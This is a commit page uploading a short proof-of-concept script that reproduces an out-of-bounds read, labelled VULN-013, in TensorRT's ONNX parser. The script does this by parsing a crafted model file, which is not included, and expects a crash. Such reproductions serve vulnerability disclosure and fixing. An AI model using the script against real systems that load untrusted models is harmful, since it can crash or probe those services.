Upload reproduce.py with huggingface_hub
Browse files- reproduce.py +9 -0
reproduce.py
ADDED
|
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""VULN-013: DOUBLE OOB Read via undersized double_data"""
|
| 2 |
+
import tensorrt as trt
|
| 3 |
+
logger = trt.Logger(trt.Logger.ERROR)
|
| 4 |
+
builder = trt.Builder(logger)
|
| 5 |
+
network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
|
| 6 |
+
parser = trt.OnnxParser(network, logger)
|
| 7 |
+
print("Parsing double_oob_read.onnx (expect crash)...")
|
| 8 |
+
ok = parser.parse_from_file("double_oob_read.onnx")
|
| 9 |
+
print(f"Result: {ok}")
|